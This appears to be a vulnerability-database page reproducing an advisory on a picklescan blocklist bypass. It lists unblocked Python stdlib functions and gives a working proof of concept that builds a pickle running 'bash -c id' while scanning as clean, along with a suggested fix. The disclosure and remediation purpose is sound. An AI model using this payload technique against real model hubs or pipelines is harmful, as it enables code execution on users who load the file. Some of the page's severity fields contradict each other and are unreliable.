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CVE-2026-56315

PickleScan has multiple stdlib modules with direct RCE not in blocklist

CVSS score

9.8

EPSS probability

%1.1

Risk score

0.1

Published

7 mo ago

Patch status has not yet been verified

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Vulnerability description

DayBreach CVE AI Research

CVE-2026-56315 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.

## Summary picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely. ## Severity **Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### Unblocked RCE Modules | Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN | | `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN | | `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN | | `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN | | `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN | | `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN | All 8 functions are in Python's standard library and importable on all platforms. ### Scanner Output ``` $ picklescan -p uuid_rce.pkl No issues found. $ picklescan -p aix_rce.pkl No issues found. $ picklescan -p imaplib_rce.pkl No issues found. ``` Meanwhile: ``` $ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())" uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone) ``` ### Blocklist Analysis picklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear: - `uuid` — not blocked - `_osx_support` — not blocked - `_aix_support` — not blocked - `_pyrepl` — not blocked - `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked) - `imaplib` — not blocked - `test` — not blocked - `test.support` — not blocked - `test.support.script_helper` — not blocked ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # uuid._get_command_stdout — arbitrary command execution payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R" # TUPLE3 + REDUCE + b"." # STOP ) # Scan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN # Execute: runs `id` command pickle.loads(payload) ``` ### Tested Against - picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release - picklescan v0.0.21 — same result (modules never blocked in any version) ## Impact Any system using picklescan for pickle safety validation is vulnerable. This includes: - **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files - **ML pipelines** — any CI/CD or loading pipeline using picklescan - **Model registries** — any registry relying on picklescan for safety checks An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user. ## Suggested Fix Add to `_unsafe_globals` in picklescan: ```python "uuid": "*", "_osx_support": "*", "_aix_support": "*", "_pyrepl": "*", "imaplib": {"IMAP4_stream"}, "test": "*", ``` **Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues) ## Resources - picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`) - Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`

IMPACT: Affected Products and Software

Affected Products

The following products are affected by CVE-2026-56315 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.

IDVENDORPRODUCTACTION
1pypipicklescan View
Total affected vendors: 1|Products: 1

RED HAT CSAF/VEX: Product Impact Check

Red Hat has not yet published a CSAF/VEX impact record for this CVE. This does not mean “not affected”.

SCORING: CVSS from Multiple Sources

CVSS Scores

The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
9.8CVSS 3.x—Vector not publishedGitHub Advisory
0.0CVSS 4.0—Vector not publishedGitHub Advisory

Patch and Remediation Guide

Solution & Remediation Advisory

Patch status unknown

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Confirm the affected product and version against the source evidence above.
Restrict access to internet-facing services and apply network segmentation.
Until a patch is confirmed, follow the vendor advisory; do not read an unknown status as “no patch”.
Monitor server logs and network endpoints for signs of anomalous execution.

Public exploit and active exploitation status

Verified exploit intelligence

No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.

Weakness Classification and Attack Patterns (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-56315 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-56315 weaknesses.

Attack Vector and Accessibility

ExposureAğ üzerinden
PermissionsGerekmiyor
UserGerekmiyor

Official Sources and Advisories

CVSS Vector Radar Chart

9.8 / 10
Attack VectorNetworkComplexityLowPrivilegesNoneUser Interact.NoneConfidentialityLowIntegrityNoneAvailabilityHigh

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone required
User InteractionNone required
Confidentiality (Gizlilik)Low
Integrity (Bütünlük)None
Availability (Erişilebilirlik)High

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Weakness Type (CWE & CAPEC)

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